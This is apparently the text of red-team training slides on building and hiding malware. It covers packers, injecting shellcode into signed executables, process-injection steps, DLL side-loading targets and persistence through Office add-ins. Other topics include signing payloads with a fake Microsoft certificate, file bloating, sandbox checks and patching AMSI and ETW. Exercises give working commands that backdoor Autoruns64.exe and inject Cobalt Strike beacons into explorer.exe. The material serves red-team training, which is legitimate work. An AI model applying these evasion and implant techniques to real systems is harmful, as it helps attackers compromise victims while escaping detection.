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Basics



» Static detection is simplest to evade: simply write your custom malware or use a packer

» PE Protectors – encrypt & anti-debug/anti-X

» PE Compressors – reduce file size

» .NET Obfuscators – protect IP, symbol names, strings

» Script Obfuscators – VBA/VBScript, PowerShell, BAT

» Virtualizers – translate input PE executable machine code into custom VM

» Executable Signers – steal genuine EXE certificate + properties and apply on implant

» Resource Editors – remove Icon, version information

» Shellcode Loaders – load shellcode in a stealthily

» Shellcode Encoders – Shikata Ga Nai

» Don’t Detect Tools – Detect Techniques

Protectors, Obfuscators

Basics »



» Don’t Detect Tools – Detect Techniques

Protectors, Obfuscators

Basics »



» ProtectMyTooling – multi-packer wrapper combining 29+ different packers for nice & easy obfuscation

Protectors, Obfuscators

Basics »
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» ProtectMyTooling – multi-packer wrapper combining 29+ different packers for nice & easy obfuscation

Protectors, Obfuscators

Basics »



» Inject your shellcode into legitimate executable (violating its signature)

» Then sign-it with self-signed / custom Authenticode certificate (we’ll get to that later)

» ProtectMyTooling -> RedBackdoorer.py

» Where to inject:

» Middle of current code section (.text, .code)

» Into separate section (second-to-last / N-to-last)

» How to redirect execution:

» Change AddressOfEntryPoint

» Hijack branching call (JMP, CALL)

» TLS Callback

» How to sign it later:

» LimeLighter

» Mangle

» ScareCrow

» osslsigncode.exe

PE Backdooring

Basics »



» Responsible Red Teams keep track of their implants/malware.

» Keep track of your IOCs.

» Inject custom “watermark” to payloads and poll VirusTotal 

» ProtectMyTooling -> RedWatermarker.py

» Where to inject watermark:

» DOS Stub

» PE Header properties: TimeStamp, Checksum

» Overlay

» Additional PE Section

» Resources: Version Info, Manifest

» How should watermark look like:

» Random SHA256 might be enough

» Encrypted engagement metadata (CyberChef)

PE Watermarking

Basics »



» Exercise 1: Generated obfuscated, watermarked backdoor.

» Generate Mythic Apollo.exe (.NET) and Apollo.bin (shellcode)

» Use ProtectMyTooling to set up a packers chain:

» Apollo.exe: Run Tools\ProtectMyTooling\ProtectMyToolingGUI.py -> Specify input file -> Select x64 architecture -> add to chain: NimPackt -> MPRESS ->  Protect

» Apollo.bin: py ..\..\..\Tools\ProtectMyTooling\RedBackdoorer.py 2,1 .\apollo1.bin .\Autoruns64.exe -o .\Autoruns64-backdoored.exe -v

» Watermark generated artifact with: “malware-development-test-123456789-0987654321”

py ..\..\..\Tools\ProtectMyTooling\RedWatermarker.py -t "malware-development-test-123456789-0987654322" .\Autoruns64-backdoored.exe -v

» Run & test if that worked

» If you have VirusTotal Enterprise subscription:

» Upload sample to VT -> let it be scanned

» Search for: content:"malware-development-test-123456789-0987654321"

 

PE Watermarking

Basics »
https://support.virustotal.com/hc/en-us/articles/360001386897-Content-search-VTGrep-

https://support.virustotal.com/hc/en-us/articles/360001386897-Content-search-VTGrep-


Meet Shellcode Loader



» Takes Shellcode on input, verifies environment, injects it if all is good.

» Responsible to evade Sandboxes, Proxy, AV, EDR and safely land in a machine.

» Environment verification/keying, careful shellcode decryption

» Ends its duties after injecting shellcode.

» Might inject:

» Into self: Self-Inject / Local

» Into other process: Remote Inject

» Vulnerable to automated-detonation/sandboxes

» Loader Might reside in:

» Process tree 

» Process modules list

Basic Red Team weaponry

Meet Shellcode Loader »



» Each language brings its own specific Pros & Cons

» Ultimately we need a language that compiles to native PE: EXE, DLL, CPL

» C/C++

» C# -> MSIL -> EXE

» Golang

» Rust

» Nim

» Other languages:

» F# -> MSIL -> EXE

» Python 3 -> Nuitka* -> EXE

         -> PyInstaller -> EXE

         -> Codon** -> EXE

* Nuitka Commercial (EUR 250/yr) offers advanced obfuscation/strings hiding

** Zero-overhead Python compiler using LLVM

What Language to choose?

Meet Shellcode Loader »
Rust vs C++

https://github.com/Nuitka/Nuitka
https://github.com/pyinstaller/pyinstaller/
https://github.com/exaloop/codon
https://nuitka.net/doc/commercial.html
https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++


» Linear, big enough R+X memory region:

» New memory region / section

» Code Caves

» Stack, Heap (after adjusting page permissions + disabling DEP)

» Typical Techniques:

» VirtualAllocEx / NtAllocateVirtualMemory

» ZwCreateSection + NtMapViewOfSection

» Avoid RWX allocations:

» Step 1: Allocate RW

» Step 2: Write Shellcode

» Step 3: VirtualProtectEx: Switch to RX

Phase 1: Allocate

Meet Shellcode Loader »

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-
Process-Injection-Techniques-Gotta-Catch-Them-All.pdf

https://github.com/SafeBreach-Labs/pinjectra

https://bohops.com/2023/06/09/no-alloc-no-problem-leveraging-program-entry-points-for-process-injection/

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf
https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf
https://github.com/SafeBreach-Labs/pinjectra
https://bohops.com/2023/06/09/no-alloc-no-problem-leveraging-program-entry-points-for-process-injection/


» Typical Techniques:

» WriteProcMemory / NtWriteVirtualMemory

» memcpy to mapped section

» Atom Bombing (unreliable, loud)

» Evasions:

» Prepend shellcode with dummy machine opcodes

» Split shellcode into chunks and write in randomized order

» Apply delays among consecutive writes

Phase 2: Write

Meet Shellcode Loader »



» Probably the most fragile step:

» New thread introduced 

» -> EDR closely inspects starting point

» -> checks if starting function is in image-backed memory (ntdll.dll?)

» Typical Techniques:

» CreateRemoteThread / ZwCreateThreadEx

» NtSetContextThread

» NtQueueApcThreadEx – APC, so called Early-Bird

» API function hooks / trampolines

» Indirect shellcode execution via Windows APIs

» https://github.com/Wra7h/FlavorTown

» https://github.com/aahmad097/AlternativeShellcodeExec 

Phase 3: Execute

Meet Shellcode Loader »

https://github.com/Wra7h/FlavorTown
https://github.com/aahmad097/AlternativeShellcodeExec


» Latest trendiest threadless treat – Threadless Injection by Ccob / Ceri Coburn (also known as Write Hook)

» Actually, that’s an undusted idea that was around for a while in virii world

» Can be interesting execution vector given Allocation + Write are done right.

Phase 3: Execute

Meet Shellcode Loader »
https://github.com/CCob/ThreadlessInject

https://www.youtube.com/watch?v=z8GIjk0rfbI

https://github.com/CCob/ThreadlessInject
https://www.youtube.com/watch?v=z8GIjk0rfbI


» Multiple technical issues with Remote injection: 

» Enforced defences: CFG, CIG

» More closely monitored steps involved: Open process handle, alloc, write, exec

» Remote Injection has more spots prone to detection:

» ETW Ti feeds

» EDR hooks, sensors

» Back-tracing thread’s call stack – was NtOpenProcess invoked from a trusted thread?

Local vs Remote Injection

Meet Shellcode Loader »

https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike/ 
https://vanmieghem.io/process-injection-evading-edr-in-2023/

https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike/
https://vanmieghem.io/process-injection-evading-edr-in-2023/


» EDR maintains ring-buffer with per-process activities, produced by ETW Ti:

» Processes, command lines, parent-child relationships

» File/Registry/Process open/write, 

» Created threads, their call stacks, starting addresses

» Native functions called

» Created .NET AppDomains, loaded .NET assemblies, their static class names, methods (think of: Rubeus)

» Events Correlation:

» High-fidelity alert (such as LSASS open) => EDR correlate collected activities => Incident is generated.

» High memory/resources cost to preserve active context/buffer => time-limited preservation of events

» ML / “AI” may be involved to compute risk score and isolate TTP

» Evasions:

» Significant delays among risky events: alloc, write, exec – DripLoader style!

» ntdll!EtwEventWrite patch

» Disabling tracing via ntdll!EtwEventUnregister

ETW Ti

Meet Shellcode Loader »

https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection 
https://undev.ninja/introduction-to-threat-intelligence-etw/ 

https://modexp.wordpress.com/2020/04/08/red-teams-etw/ 
https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 

https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider 

https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
https://undev.ninja/introduction-to-threat-intelligence-etw/
https://modexp.wordpress.com/2020/04/08/red-teams-etw/
https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider


» Design small programs simulating specific injection technique.

» Throw them all against AV/EDR wall you’re up to, see which sticks

» Polonium

» my C++ implementation of 18 different shellcode injection approaches

» Additionally plenty different sandbox, AV, EDR evasions

» Tools\polonium\bin\x64\Debug\polon.exe –h

» Lets us embed shellcode compressed/encrypted into PE Section

» Plenty of ready-made implementations for you to review, adapt, get inspired:

» Anti-sandbox

» Anti-VM

» Anti-debugging

» Anti-Emulation

» Numerous process injection techniques implemented in a single tool

» Atom Bombing

» Parent PID spoofing

» Command line faking

» Execution guardrails

» Few ideas for time-delaying

AV/EDR Benchmarking
Meet Shellcode Loader »



» Exercise 2a: Inject Apollo.bin using different techniques:

» Self-Inject: Exercise 2\x64\polon.exe –f Apollo.bin –v –s 1

» Remote: Exercise 2\x64\polon.exe –f Apollo.bin –v –s 2 –i explorer.exe

» Exercise 2b: Produce Polonium DLL with embedded shellcode:

» Step 1: Embed Beacon shellcode into Polonium EXE:

» cmd> python apply_polon_shellcode.py -E "c:\Training\Tools\polonium\bin\x64\Debug-DLL\polon.dll" --x64 c:\Training\Beacons\https_x64.xthread.bin -f section -o 

"c:\Training\Tools\polonium\bin\x64\Debug\polon-beacon.exe"

» Step 2: Now that we have shellcode stored within the loader, lets inject Beacons somewhere:

» cmd> polon.exe -f c:\Training\Beacons\https_x64.xprocess.bin -s 7 -i auto -v -a -x -x –x

» cmd> polon.exe -f c:\Training\Beacons\https_x64.xprocess.bin -s 7 -i explorer –v

» Exercise 2c: Produce Polonium DLL with embedded shellcode:

» Step 1: Embed Beacon shellcode into Polonium DLL:

» cmd> python apply_polon_shellcode.py -E "c:\Training\Tools\polonium\bin\x64\Debug-DLL\polon.dll" --x64 c:\Training\Beacons\https_x64.xthread.bin -f section -k 0x11223344 -o 

"c:\Training\Tools\polonium\bin\x64\Debug-DLL\polon-beacon.dll" --parameters="-l C:\Users\public\polon.log -v -s 2"

» Step 2: Rename polon-beacon.dll extension to .CPL and double-click

AV/EDR Benchmarking
Meet Shellcode Loader »



Hide your Shellcode



» More than often we regenerate our loaders several Times throughout the engagement

» So a quick, convenient and relatively stealthy shellcode storage would be nice.

» Several approaches typically considered:

1. Hardcoded

2. Legitimate PE backdoored with shellcode & loader

3. Additional PE Section

4. PE Resources

5. Acquired from the Internet („stageless”)

» Shellcode should be protected:

» Compressed (e.g. LZMA)

» Encrypted / encoded (XOR32 / RC4 / AES)

» Shellcode can be prepended with metadata structure: key, compression, size, parameters

Storage Problem

Hide your Shellcode »



» Shellcode stored in code. Requires re-compilation before use.

» Can be also filled-up with „A” * 1MB and then replaced during generation.

» Shellcode in RW/RO executable section.

» Classic approach.

Approach 1: Hardcoded

Hide your Shellcode »



» PE Resources are typically used to store icons, cursors, bitmaps, version information, language packs.

» Can also used RCDATA binary blobs.

» Resources are more extensively scanned by Avs.

» Also, some hacky obfuscators, compressors might corrupt or get rid of resources at all. 

» Risky putting SC there.

Approach 2: Resources

Hide your Shellcode »

https://github.com/rvrsh3ll/CPLResourceRunner
https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#embedding-the-shellcode-as-a-resource

https://github.com/rvrsh3ll/CPLResourceRunner
https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources#embedding-the-shellcode-as-a-resource


» Shellcode stored in additional R+X PE Section. 

» Most malware store shellcode in last section. 

» I recommend second-to-last / N-to-last for decreased detection.

» Sections can store as much data as required. 

» Easy to locate in code – EggHunter/pattern searcher or PE parsing.

» Supplemental Python script can be used that embed shellcode to PE

Approach 3: PE Section

Hide your Shellcode »

https://github.com/mgeeky/PE-library

https://github.com/mgeeky/PE-library


» Another way is to dynamically pull shellcode/malware from the 

Internet.

» That makes loader smaller and not contain dodgy payload 

inside.

» Lets us dechain delivery + execution:

» We can collect web logs to track if our shellcode was downloaded

» A little bit more control over to whom server our shellcode

» Offensive Deep Packet Inspection ala RedWarden-styled

Approach 4: Staged

Hide your Shellcode »

https://github.com/mdsecactivebreach/SharpShooter/blob/master/CSharpShooter/SharpShooter.cs#L189

https://github.com/mdsecactivebreach/SharpShooter/blob/master/CSharpShooter/SharpShooter.cs#L189


» Finally, another advanced storage might be Certificate Table entry in PE headers

» Step 1: Patch the PE file by padding Certificate Table with shellcode bytes

» Step 2: Update PE headers (sizes, checksums, RVAs)

» Consider idea:

» Round 1) Embed your shellcode into Teams.exe

» Round 2) Backdoor ffmpeg.dll with shellcode-loader

» Round 3) Shellcode loader finds & loads shellcode

         located somewhere in the memory

         (think Egg Hunter)

» Teams.exe = signature intact

» ffmpeg.dll = signature broken

» When Teams.exe starts -> it loads ffmpeg

-> which then loads shellcode stored in Teams.exe

Approach 5: Certificate Table

Hide your Shellcode »

https://github.com/med0x2e/SigFlip

https://www.offensive-security.com/metasploit-unleashed/egghunter-mixin/
https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf

https://www.exploit-db.com/exploits/41827
https://www.exploit-db.com/exploits/45293

https://github.com/med0x2e/SigFlip
https://www.offensive-security.com/metasploit-unleashed/egghunter-mixin/
https://www.exploit-db.com/docs/english/18482-egg-hunter---a-twist-in-buffer-overflow.pdf
https://www.exploit-db.com/exploits/41827
https://www.exploit-db.com/exploits/45293


Executable Formats



» Subject to Prevalence/Reputation based detections

» If your team can afford it – Code Signing Certificate

» EV Cert ~ €360 

» Reasonable for internal Red Teams that can obtain certificate mimicking their organisation name.

» What for? 

» Intended for lesser capable teams struggling too hard with AV/EDR/Proxy.

» Or for those apex adversary emulations modeling threat of stolen/faked certificate.

» Otherwise – self signed!

» Fake / Self-Signed Authenticode 

can reduce detection rate in some products

» LimeLighter, ScareCrow, osslsigncode 

» or just a simple Powershell script 

EXE

Executable Formats »

https://shop.certum.eu/certum-ev-code-sigining.html
https://github.com/Tylous/Limelighter
https://github.com/optiv/ScareCrow
https://github.com/mtrojnar/osslsigncode
https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/red-teaming/Self-Signed%20Threat


» That’s rubbish, it can’t be this easy to fool modern malware protection systems!

» Yeah, exactly – no way!

» So, anyway… 

who got tricked?

EXE

Executable Formats »

Mythic Apollo.exe not signed.

https://www.virustotal.com/gui/file/1413de7cee2c7c161f814fe93256968450b4e99ae65f
0b5e7c2e76128526cc73?nocache=1 

Mythic Apollo.exe fake-signed.

https://www.virustotal.com/gui/file/34543de8a6b24c98ea526d8f2ae5f1dbe99d64386d8a
8f46ddbcdcebaac3df65?nocache=1

1. Avast

2. AVG

3. Avira

4. Cylance

5. Cynet

6. F-Secure

7. MaxSecure

8. SentinelOne

(Static ML)

https://twitter.com/mariuszbit/status/1547320418821980160

https://www.virustotal.com/gui/file/1413de7cee2c7c161f814fe93256968450b4e99ae65f0b5e7c2e76128526cc73?nocache=1
https://www.virustotal.com/gui/file/1413de7cee2c7c161f814fe93256968450b4e99ae65f0b5e7c2e76128526cc73?nocache=1
https://www.virustotal.com/gui/file/34543de8a6b24c98ea526d8f2ae5f1dbe99d64386d8a8f46ddbcdcebaac3df65?nocache=1
https://www.virustotal.com/gui/file/34543de8a6b24c98ea526d8f2ae5f1dbe99d64386d8a8f46ddbcdcebaac3df65?nocache=1


» Simplest executable signing possible? Powershell!

» Exercise 3: Sign your Apollo.exe and review its certificate

» Sigcheck.exe –h signed-apollo.exe

» Right-Click on file

» Exercises\day3\Self-Signed Threat\Sign-Artifact.ps1

» Sign-Artifact based on Matt Graeber’s work

» File is technically signed, but cannot be verified.

» x509 Certificate has CN=Microsoft Windows

EXE

Executable Formats »

Sign-Artifact –InputFile apollo.exe –OutputFile microsoft.exe -Verbose

https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec


» DLLs have many benefits over EXEs:

» Typically no subject for prevalence/reputation score

» Offer delayed & dechained execution primitives

» Not visible in process list

» Facilitate DLL Hijacking attacks

» Can be used by LOLBINs and in various attacks:

» Printer Spooler attacks

» DNSAdmins attack

» CPL, XLL are technically DLLs with specific exports

» DLLs cleanup is cumbersome

» cannot simply remove .DLL file while library is loaded into any process.

» To remove it - we first need to Exit Threads and then Free that Library.

» Handled by built-in API kernel32!FreeLibraryAndExitThread ☺

» Call this API when your evil DLL execution is done (like in exit beacon)

DLL

Executable Formats »

https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibraryandexitthread


» DLL Hijacking / Proxying / Side-Loading / Planting / Search-Order Hijacking 

» many names, all work pretty much the same

» Place carefully Named + designed DLL in a specific location.

» Program attempted to load DLL but there was none in its directory.

» So the system searched according to built-in DLL Search Order list.

» Until it discovered our planted, malicious DLL named exactly like needed.

» Our DLL need to export all the functions imported by the target program.

» Loader Lock

» Complex Image Loader synchronisation between consecutive dependency DLLs mapping

» In practice, we won’t be able to run complex Malware from DllMain

» Things like CreateProcess(…) will do, but shellcode loading won’t cut it.

» Keep DllMain as simple as possible, or better don’t use it at all.

» If you need to start from DllMain, run your shellcode in a separate thread

DLL Hijacking

Executable Formats »

https://www.netspi.com/blog/technical/adversary-simulation/adaptive-dll-hijacking/
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices

https://twitter.com/pr0xylife/status/1547703381262680064

https://hijacklibs.net/

https://www.netspi.com/blog/technical/adversary-simulation/adaptive-dll-hijacking/
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices
https://hijacklibs.net/


» DLL Proxy attack against MS Teams

» %LOCALAPPDATA%\Microsoft\Teams\current\version.dll

» Single-Instance logic applies – otherwise you’ll end up having dozen beacons

» version!GetFileVersionInfoExW

» version!GetFileVersionInfoSizeExW

» version!GetFileVersionInfoSizeW

» version!GetFileVersionInfoW

» version!VerQueryValueW

» Hunting for DLL Hijacking opportunities

» SysInternals Process Monitor (ProcMon)

» (2) Highlight/Filter Result is NAME NOT FOUND

» (1) If operation is CreateFile and ends with .DLL:

» If DLL path is writeable with user permissions

» DLL Hijacking possible!

» Automate all these steps with 

Accenture/Spartacus

vu-ls/Crassus

DLL Hijacking

Executable Formats »

https://github.com/Accenture/Spartacus
https://github.com/vu-ls/Crassus


» How to look out for Side-Loading opportunities?

» Frida + WFH: Frida instruments executables, WFH applies LoadLibrary hook for printing dynamically loaded DLLs

» Koppeling: Brings NetClone.exe tool to copy DLL exports from target DLL to our own

» Siofra: another nice tool that scans executables for side-loading & hijacking opportunities

» Spartacus: Takes Procmon output, filters it, spits out found targets & DLL templates

» Crassus: Builds on top of Spartacus, takes Procmon output, filters it, spits out found targets & DLL templates

         (also verifies ACLs and other nuances)

» Example known susceptible targets:

1. %WINDIR%\System32\DISM.exe + DismCore.dll

2. %ProgramFiles%\Windows Defender\NisSrv.exe + mpclient.dll

3. %WINDIR%\System32\RuntimeBroker.exe + umpdc.dll

4. %WINDIR%\System32\WFS.exe + FxsCompose.dll

» Example DLL template showcasing them all:

C:\Training\Exercises\day3\Exercise 4\simple-loader

» Example complex infection scenarios leveraging these:

C:\Training\Exercises\day2\Complex-Infection-Chains

DLL Side-Loading

Executable Formats » $data[5000] 

Get-childitem -Path "c:\Program Files\" -Filter *.exe -Recurse -File -Name | ForEach-Object { 
  $binarytocheck = "c:\Program Files\" + $_ 
  c:\siofra\siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytocheck >> c:\siofra\tocheck.txt 
}

https://twitter.com/ShitSecure/status/1566126264469098497

https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain
https://github.com/monoxgas/Koppeling
https://github.com/Cybereason/siofra
https://github.com/Accenture/Spartacus
https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
https://github.com/vu-ls/Crassus
https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
https://twitter.com/ShitSecure/status/1566126264469098497


» In September 2022, Lazarus group was observed to backdoor legitimate programs*

DLL Hijacking

Executable Formats »

* https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/

https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/


» Beware: MS Defender for Endpoint (MDE) might trigger on DLL Side-Loading/Hijacking:

DLL Side-Loading

Executable Formats »

https://www.linkedin.com/feed/update/urn:li:activity:7040479255910043648/

https://www.linkedin.com/feed/update/urn:li:activity:7040479255910043648/


» Yesterday we discussed how we can make .NET EXE sideload .NET DLL, by defining custom AppDomainManager

» When .NET executable starts, .NET CLR runtime looks for Program.exe.config and processes it.

» There we can define a custom AppDomain Manager class, thus instrumenting runtime to load our malicious .NET DLL

» Demo: repo\Exercises\Day2\AppDomainManager-Injection\just-exe

.NET DLL Sideloading
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» CPL – Control Panel Applet

» Double-clickable

» control.exe evil.cpl

» -> rundll32.exe Shell32.dll,Control_RunDLL evil.cpl

» For some reason skipped by aggressively configured

CrowdStrike Falcon (state for June, 2022)

» WLL – Word Add-In

» Not double-clickable

» Bare bones C++ DLL executing code directly in DllMain, 

no additional exports required.

» Persistence by placing .WLL into Word Trusted Path:

%APPDATA%\Microsoft\Word\Startup\evil.wll

» That’s all, it’ll get automatically picked up by Word upon opening.

WLL, XLL, CPL – Oh my…

Executable Formats »



» XLL – Excel Add-In

» Double-clickable

» If XLL has MOTW on it, it will be blocked from loading

» XLL requires a special export named xlAutoOpen

» First – create „OPEN” value in HKCU\Software\Microsoft\Office\16.0\Excel\Options

» Set it with /R evil.xll

» Then place your evil.xll into Office AddIns Path:

%APPDATA%\Microsoft\AddIns\evil.xll

» Since they both export a dedicated API

» We can have our malware launched in that API 

instead of DllMain (Loader Lock issues, remember?)

WLL, XLL, CPL – Oh my…

Executable Formats »

https://labs.withsecure.com/archive/add-in-opportunities-for-office-persistence/

https://www.bleepingcomputer.com/news/microsoft/microsoft-365-to-block-downloaded-excel-xll-add-ins-to-boost-security/


» Let’s wrap them all up now, shall we?

» Exercise 4: Showcasing these *Ls!

» Exercises\day3\Exercise 4\simple-loader\bin\x64\Release-NoDllMain\simple-loader.dll

» Adjust compiled simple-loader.dll with your command and rename it to XLL/CPL

» Run it and see how it rolls ☺

» Optionally – comment out #define I_WANT_TO_RUN_MY_... line to disable execution from DllMain & recompile.

» That is already offered by Release-NoDllMain compilation artifact.

WLL, CPL, XLL – oh my…

Executable Formats »



Basic Evasions



» Always use strings obfuscation libraries or apply language-specific obfuscators

» Golang – Garble

» C/C++ - ADVobfuscator

» C# - ConfuserEx

» Rust - https://docs.rs/obfstr/latest/obfstr/

» So easy to fell into static signaturing when strings give away executable’s intent

» Demo: day3\String Obfuscation\x64\string-obf-demo.exe

Strings Obfuscation

Basic Evasions » https://www.vx-underground.org/windows.html

https://github.com/burrowers/garble
https://github.com/andrivet/ADVobfuscator
https://mkaring.github.io/ConfuserEx/
https://docs.rs/obfstr/latest/obfstr/
https://www.vx-underground.org/windows.html


» Entropy measures how much random data looks like. 

» The lower – the less random.

» Higher the entropy, the more packed/compressed/anomalous data might look like.

» One of potential evasion avenues is to pre-set executable 

with plenty of unused, long strings

» So called „File Pumping”

» Strings can be comprised of random English words

» Visual Studio solution building could be configured 

with Pre-Build Event running python script that modifies source code.

» File Bloating is similar approach.

» Instead of keeping implant as small as possible – insert big number of English-words

» That will lower entropy and increase chance, that AV/EDR wont scan a file.

» Make your implant 50MBs or more ☺

Entropy, File Pumping, Bloating

Basic Evasions »

https://twitter.com/hardwaterhacker/status/1502425183331799043

https://twitter.com/hardwaterhacker/status/1502425183331799043


» Anyone’s up for scanning 1GB worth of .EXE?

» Example File Bloating weaponization idea:

1. Generate your Malware.exe

2. Bloat it into 200 MBs with Mangle.exe –S 200 –I Malware.exe –O Bloated-Malware.exe

3. Compress it into 500KBs+ .ZIP archive

4. Embed that ZIP into LNK and deliver that LNK to victim

5. Once LNK is double-clicked it will drop 200MBs .exe into TEMP and run it. 

AV shouldn’t touch such a big file ☺

Example in: repo\Exercises\Day3\Bloated-EXE-in-LNK\bloated.lnk

Entropy, File Pumping, Bloating

Basic Evasions » https://twitter.com/0xToxin/status/1650741643555880960

https://github.com/optiv/Mangle
https://twitter.com/0xToxin/status/1650741643555880960


Entropy, File Pumping, Bloating

Basic Evasions »

https://practicalsecurityanalytics.com/file-entropy/

https://practicalsecurityanalytics.com/file-entropy/


» Some researchers claim we can reduce ML-score by lowering payload’s entropy.

» Append multiple random words in an additional section to affect file’s overall entropy

» Backdoor well-known executable through the use of TLS Callbacks or classic .text section parasiting

» Lazarus group has used Notepad++ to backdoor plugin DLL*

» You can use ProtectMyTooling\RedBackdoorer.py to pull off TLS Callbacks backdoor ;)

Entropy, File Pumping, Bloating

Basic Evasions »

* https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/

https://github.com/mgeeky/ProtectMyTooling/blob/master/RedBackdoorer.py
https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/


» At first, AV initiates AdvHeur / Advanced Heuristics module.

» It closely emulates sample machine instructions and subset of WinAPI calls

» Every N instructions traced – emulator’s virtual memory pool & stacks are getting scanned.

» Should emulation of first N (= 1.000.000) instructions not produce any alert –> wrap up & let it go

» Let the sample execute and proceed to behavioural observation

» Process’ memory allocations (RX/RWX) exceeding N * PAGE_SIZE are getting scanned by AMS / Advanced Memory Scanner

» AMS sweep kicks on irregularly, according to some schedule or in case of VirtualAlloc(Ex)/MapViewOfSection

» Our strategy:

» Time-out emulation sweep (and/or fight back by sensing dummy WinAPI results, 

such as: OpenProcess(0x04) != error)

» Slow down each and every step of your malware: alloc => chunk1 write … chunkN write => execute

Time-Delayed Execution

Basic Evasions »

https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf

https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf


Beating Emulators

Basic Evasions »

https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf

https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf


» Objective: Avoid being run in VirusTotal matrix

» Seat belts

» Environmental Keying

» ensure user name, domain name, fixed UNC/SMB path, registry value

» IP Geolocation

» call out to http://ip-api.com/json and process country/AS/city/region

» You target US-based victim, but sample ran from EU? Gently exit.

» Verify expected process/file name

» sandboxes tend to rename out samples into <HASH>.exe

» Verify expected parent name 

» useful in DLL Side-Loading/Hijacking scenarios

» Sandboxes tend to run malicious DLLs via rundll32 when we expected 

them to be launched by Teams.exe for instance

» Verify number of physical display devices

Beating Sandboxes

Basic Evasions »

https://evasions.checkpoint.com/
https://evasions.checkpoint.com/techniques/generic-os-queries.html#check-if-quantity-of-monitors

http://ip-api.com/json
https://evasions.checkpoint.com/
https://evasions.checkpoint.com/techniques/generic-os-queries.html#check-if-quantity-of-monitors


» Closely inspect environment where you landed before you decompress & decrypt shellcode.

» Expect that your malware virtual memory pages will be constantly scanned & triaged

» Pick the right timing & decrypt only when absolutely sure.

» Environmental Keying / Controlled Decryption based on externally stored key.

» If 0 knowledge about environment:

» Pull your decryption key from the Internet/DNS

» If you have any solid piece of information:

» Use it with your shellcode loader to fool sandboxes/emulators

» Domain name? Username? Remote IPv4 address? User-agent string?

Controlled Decryption

Basic Evasions »

https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/

My DropLoader



» ImpHash = Import (IAT) Hash / TypeRef Hash (TRH = ImpHash for .NET assemblies)

» MD5(„kernel32.sleep,kernel32.virtualalloc,…”)

» How to evade it?

» 1. Create unreachable code path in your Native loader (EXE)

» 2. In that unreachable code, launch overly long WinAPI with dummy parameters

» 3. Compile it.

» 4. Then using Python script – locate that API in EXE Import Address Table

» 5. Overwrite imported function’s name in PE headers with random other name from the same DLL

Fooling ImpHash

Basic Evasions »



» AMSI: amsi.dll!AmsiScanBuffer

» Its prologue can be patched

» or better increment „AMSI” magic value deeper in code

» ETW: ntdll.dll!NtTraceEvent + ntdll.NtTraceControl

» These functions can be evaded even in a smarter way – using patchless strategy

» a’la SharpBlock 

» Example implementation: repo\Exercises\day3\evasion.h – just include it and run setupBypasses()

» Example „thread-safe” implementation by @rad9800: https://github.com/rad9800/misc/blob/main/hooks/etw-amsi-llex-patch.c 

AMSI, ETW – get off my lawn!
Basic Evasions »

https://github.com/CCob/SharpBlock
https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf

https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/
https://twitter.com/rad9800
https://github.com/rad9800/misc/blob/main/hooks/etw-amsi-llex-patch.c
https://github.com/CCob/SharpBlock
https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf


» https://www.youtube.com/watch?v=wZG0h1q7fMg

» http://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf

ETW - Everything There Is To Know
Basic Evasions »

https://www.youtube.com/watch?v=wZG0h1q7fMg
http://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf


» Filip Olszak – ex-Countercept EDR developer, showcased EDR design & 

correlation flaws

» His DripLoader utilized:

» Reserved enough 64KB big chunks with NO_ACCESS

» Also known as Drip Allocations

